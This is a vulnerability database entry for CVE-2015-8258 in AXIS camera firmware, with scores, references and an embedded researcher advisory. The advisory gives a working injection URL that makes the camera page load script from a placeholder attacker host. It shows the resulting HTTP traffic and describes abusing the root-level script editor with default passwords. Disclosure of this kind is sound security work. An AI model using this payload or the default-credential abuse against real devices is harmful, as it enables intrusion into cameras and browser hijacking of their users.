ID

VAR-201704-0285


CVE

CVE-2015-8258


TITLE

AXIS Communications In product firmware root Vulnerability to modify any file as

Trust: 0.8

sources: JVNDB: JVNDB-2015-007471

DESCRIPTION

AXIS Communications products with firmware through 5.80.x allow remote attackers to modify arbitrary files as root via vectors involving Open Script Editor, aka a "resource injection vulnerability.". AXISCommunications is a webcam. A cross-site scripting vulnerability exists in AXIS communications, allowing an attacker to exploit a vulnerability to inject arbitrary web scripts or HTML. Axis Communications is a network camera product of Axis, Sweden. 0RWELLL4BS ********** security advisory olsa-2015-8258 PGP: 79A6CCC0 @orwelllabs Advisory Information ==================== - Title: ImagePath Resource Injection/Open script editor - Vendor: AXIS Communications - Research and Advisory: Orwelllabs - Class: Improper Input Validation [CWE-20] - CVE Name: CVE-2015-8258 - Affected Versions: Firmwares versions <lt 5.80.x - IoT Attack Surface: Device Administrative Interface/Authentication/Autho rization - OWASP IoTTop10: I1, I2 Technical Details ================= The variable "imagePath=" (that is prone to XSS in a large range of products) also can be used to resource injection intents. If inserted a URL in this variable will be made an GET request to this URL, so this an interesting point to request malicious codes from the attacker machine, and of course, the possibilities are vast (including hook the browser). An attacker sends the following URL for the current Web user interface of the camera: http://{AXISVULNHOST}/view.shtml?imagepath=http://www.3vilh0 st.com/evilcode.html This request will be processed normally and will return the status code 200 (OK): [REQUEST] GET /view.shtml?imagepath=http://www.3vilh0st.com/evilcode.html HTTP/1.1 Host: {axisvulnhost} User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Authorization: Digest username="Winst0n", realm="AXIS_XXXXXXXXXXX", nonce="00978cY6s4g@Sadd1b11a9A6ed955e1b5ce9eb", uri="/view.shtml?imagepath=http://www.3vilh0st.com/evilcode.html", response="5xxxxxxxxxxxxxxxxxxxxxx", qop=auth, nc=0000002b, cnonce="00rw3ll4bs0rw3lll4bs" Connection: keep-alive GET /evilcode.html HTTP/1.1 Host: www.3vilh0st.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://{axisvulnhost}/view.shtml?imagepath=http://www.3vilh0 st.com/evilcode.html Connection: keep-alive The server response can be seen below (with the clipping of the affected HTML code snippets - just look for "http://www.3vilh0st.com/evilcode.html"): <table border="0" cellpadding="3" cellspacing="3"> <tr> <td id="videoStreamTable"> <script language="JavaScript"> <!-- video('http://www.3vilh0st.com/evilcode.html'); // --> </script> </td> </tr> </table> [..SNIP..] function listVideoSources() { var formInt = document.listFormInt; var formExt = document.listFormExt; var formCrop = document.listFormCrop; var presetForm = document.listFormPreset; var form = document.WizardForm var currentPath = 'http://www.3vilh0st.com/evilcode.html'; var imageSource; [..SNIP..] var reload = false; reload |= (other != null && other.search("seq=yes") >= 0); reload |= (other != null && other.search("streamprofile=") >= 0); reload |= ((other == null || (other != null && other.search("streamprofile= ;)(r") == -1)) && ('' != "")); reload |= (imagePath != 'http://www.3vilh0st.com/evilcode.html'); [..SNIP..] <script SRC="/incl/activeX.js?id=69"></script> </head> <body class="bodyBg" topmargin="0" leftmargin="15" marginwidth="0" marginheight="0" onLoad="DrawTB('no', 'http://www.3vilh0st.com/evilcode.html', '1', '0', 'no', 'no', 'true', getStreamProfileNbr());" onResize=""> <script language="JavaScript"> [..SNIP..] // Draw the scale buttons var currentResolution = 0 var width = 0 var height = 0 var imagepath = "http://www.3vilh0st.com/evilcode.html" var resStart = imagepath.indexOf("resolution=") if (resStart != -1) { var resStop = imagepath.indexOf("&", resStart) [..SNIP..] =================== view.shtml snips ===================== 447 function zoom(size) 448 { 449 var url = document.URL; 450 451 if (url.indexOf("?") == -1) { 452 url += "F?size=" + size 453 } else if (url.indexOf("size=") == -1) { 454 url += "&size=" + size 455 } else { 456 var searchStr = "size=<!--#echo var="size" option="encoding:javascript" -->" 457 var replaceStr = "size=" + size 458 var re = new RegExp(searchStr , "g") 459 url = url.replace(re, replaceStr) 460 } 461 462 document.location = url; 463 } 464 465 var aNewImagePath; 466 467 function reloadPage() 468 { 469 document.location = aNewImagePath; 470 } 471 [ SNIP ] 567 aNewImagePath = '/view/view.shtml?id=<!--#echo var="ssi_request_id" option="encoding:url" -->&imagePath=' + escape(imagePath) + size; 568 if (other != null) 569 aNewImagePath += other; 570 <!--#if expr="$ptzpresets = yes" --> 571 /* append preset parameters so that preset postion is selected in drop down list after reload */ 572 if (presetName != '') 573 aNewImagePath += "&gotopresetname=" + escape(presetName); 574 else if (gotopresetname != '') 575 aNewImagePath += "&gotopresetname=" + escape(gotopresetname); 576 577 if( newCamera != '') 578 aNewImagePath += "&camera=" + escape(newCamera); ---*--- Some legitimate resources can be very interesting to cybercriminals with your hansowares/botnets/bitcoinminer/backdoors/malwares etc. In this case there are some resources, like the "Open Script Editor". By this resource the user can edit any file in the operation system with root privileges, because everything (in the most part of IoT devices) runs with root privileges, this is other dangerous point to keep in mind. > Open Script Editor path: 'System Options' -> 'Advanced' -> 'Scripting' Well, one can say that this feature is restricted to the administrator of the camera, and this would be true if customers were forced to change the default password during setup phase with a strong password policy, since change "pass" to "pass123" does not solve the problem. The aggravating factor is that there are thousands of products available on the internet, running with default credentials. Vendor Information, Solutions and Workarounds +++++++++++++++++++++++++++++++++++++++++++++ According to the manufacturer, the resource injection vulnerability was fixed in firmware 5.60, but we identified that the problem still occurred in 5.80.x versions of various product models. Check for updates on the manufacturer's website. About Open Script Editor,It was considered that in order to have access to this feature, it is necessary to be authenticated as an admin, but if there is no policy that forces the client to change the password during the product setup (ease vs. security) and also requires a password complexity, having an administrative credential to abuse the functionality is not exactly an impediment (e.g: botnets that bring embedded in the code a relation of default credentials for that type of device) Credits ======= These vulnerabilities has been discovered and published by Orwelllabs. Legal Notices ============= The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information. About Orwelllabs ================ https://www.exploit-db.com/author/?a=8225 https://packetstormsecurity.com/files/author/12322/

Trust: 2.43

sources: NVD: CVE-2015-8258 // JVNDB: JVNDB-2015-007471 // CNVD: CNVD-2017-04177 // VULHUB: VHN-86219 // VULMON: CVE-2015-8258 // PACKETSTORM: 141672

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2017-04177

AFFECTED PRODUCTS

vendor:axismodel:communicationsscope:lteversion:5.80.3

Trust: 1.0

vendor:axismodel:communicationsscope: - version: -

Trust: 0.8

vendor:axismodel:communications sscope:ltversion:5.80.x

Trust: 0.6

vendor:axismodel:communicationsscope:eqversion:5.80.3

Trust: 0.6

sources: CNVD: CNVD-2017-04177 // JVNDB: JVNDB-2015-007471 // CNNVD: CNNVD-201704-529 // NVD: CVE-2015-8258

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2015-8258
value: HIGH

Trust: 1.0

NVD: CVE-2015-8258
value: HIGH

Trust: 0.8

CNVD: CNVD-2017-04177
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201704-529
value: HIGH

Trust: 0.6

VULHUB: VHN-86219
value: HIGH

Trust: 0.1

VULMON: CVE-2015-8258
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2015-8258
severity: HIGH
baseScore: 7.8
vectorString: AV:N/AC:L/AU:N/C:N/I:C/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: NONE
integrityImpact: COMPLETE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 6.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.9

CNVD: CNVD-2017-04177
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:N/I:P/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: NONE
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-86219
severity: HIGH
baseScore: 7.8
vectorString: AV:N/AC:L/AU:N/C:N/I:C/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: NONE
integrityImpact: COMPLETE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 6.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2015-8258
baseSeverity: HIGH
baseScore: 7.5
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: NONE
integrityImpact: HIGH
availabilityImpact: NONE
exploitabilityScore: 3.9
impactScore: 3.6
version: 3.0

Trust: 1.8

sources: CNVD: CNVD-2017-04177 // VULHUB: VHN-86219 // VULMON: CVE-2015-8258 // JVNDB: JVNDB-2015-007471 // CNNVD: CNNVD-201704-529 // NVD: CVE-2015-8258

PROBLEMTYPE DATA

problemtype:CWE-74

Trust: 1.9

sources: VULHUB: VHN-86219 // JVNDB: JVNDB-2015-007471 // NVD: CVE-2015-8258

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201704-529

TYPE

lack of information

Trust: 0.6

sources: CNNVD: CNNVD-201704-529

CONFIGURATIONS

sources: JVNDB: JVNDB-2015-007471

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-86219 // VULMON: CVE-2015-8258

PATCH

title:Top Pageurl:https://www.axis.com/jp/ja/

Trust: 0.8

sources: JVNDB: JVNDB-2015-007471

EXTERNAL IDS

db:NVDid:CVE-2015-8258

Trust: 3.3

db:EXPLOIT-DBid:41625

Trust: 3.2

db:JVNDBid:JVNDB-2015-007471

Trust: 0.8

db:CNNVDid:CNNVD-201704-529

Trust: 0.7

db:CNVDid:CNVD-2017-04177

Trust: 0.6

db:PACKETSTORMid:141672

Trust: 0.2

db:SEEBUGid:SSVID-97252

Trust: 0.1

db:VULHUBid:VHN-86219

Trust: 0.1

db:VULMONid:CVE-2015-8258

Trust: 0.1

sources: CNVD: CNVD-2017-04177 // VULHUB: VHN-86219 // VULMON: CVE-2015-8258 // JVNDB: JVNDB-2015-007471 // PACKETSTORM: 141672 // CNNVD: CNNVD-201704-529 // NVD: CVE-2015-8258

REFERENCES

url:https://www.exploit-db.com/exploits/41625/

Trust: 3.3

url:https://nvd.nist.gov/vuln/detail/cve-2015-8258

Trust: 0.9

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-8258

Trust: 0.8

url:http://{axisvulnhost}/view.shtml?imagepath=http://www.3vilh0

Trust: 0.2

url:https://cwe.mitre.org/data/definitions/74.html

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://www.exploit-db.com/author/?a=8225

Trust: 0.1

url:http://www.3vilh0st.com/evilcode.html",

Trust: 0.1

url:http://www.3vilh0st.com/evilcode.html');

Trust: 0.1

url:https://packetstormsecurity.com/files/author/12322/

Trust: 0.1

url:http://www.3vilh0st.com/evilcode.html',

Trust: 0.1

url:http://www.3vilh0st.com/evilcode.html"):

Trust: 0.1

url:http://www.3vilh0st.com/evilcode.html';

Trust: 0.1

url:http://www.3vilh0st.com/evilcode.html"

Trust: 0.1

url:http://www.3vilh0st.com/evilcode.html

Trust: 0.1

sources: CNVD: CNVD-2017-04177 // VULHUB: VHN-86219 // VULMON: CVE-2015-8258 // JVNDB: JVNDB-2015-007471 // PACKETSTORM: 141672 // CNNVD: CNNVD-201704-529 // NVD: CVE-2015-8258

CREDITS

OrwellLabs

Trust: 0.1

sources: PACKETSTORM: 141672

SOURCES

db:CNVDid:CNVD-2017-04177
db:VULHUBid:VHN-86219
db:VULMONid:CVE-2015-8258
db:JVNDBid:JVNDB-2015-007471
db:PACKETSTORMid:141672
db:CNNVDid:CNNVD-201704-529
db:NVDid:CVE-2015-8258

LAST UPDATE DATE

2025-04-20T23:31:02.215000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2017-04177date:2017-04-11T00:00:00
db:VULHUBid:VHN-86219date:2017-04-13T00:00:00
db:VULMONid:CVE-2015-8258date:2017-04-13T00:00:00
db:JVNDBid:JVNDB-2015-007471date:2017-05-11T00:00:00
db:CNNVDid:CNNVD-201704-529date:2017-05-18T00:00:00
db:NVDid:CVE-2015-8258date:2025-04-20T01:37:25.860

SOURCES RELEASE DATE

db:CNVDid:CNVD-2017-04177date:2017-04-10T00:00:00
db:VULHUBid:VHN-86219date:2017-04-10T00:00:00
db:VULMONid:CVE-2015-8258date:2017-04-10T00:00:00
db:JVNDBid:JVNDB-2015-007471date:2017-05-11T00:00:00
db:PACKETSTORMid:141672date:2017-03-17T00:04:36
db:CNNVDid:CNNVD-201704-529date:2017-04-09T00:00:00
db:NVDid:CVE-2015-8258date:2017-04-10T03:59:00.997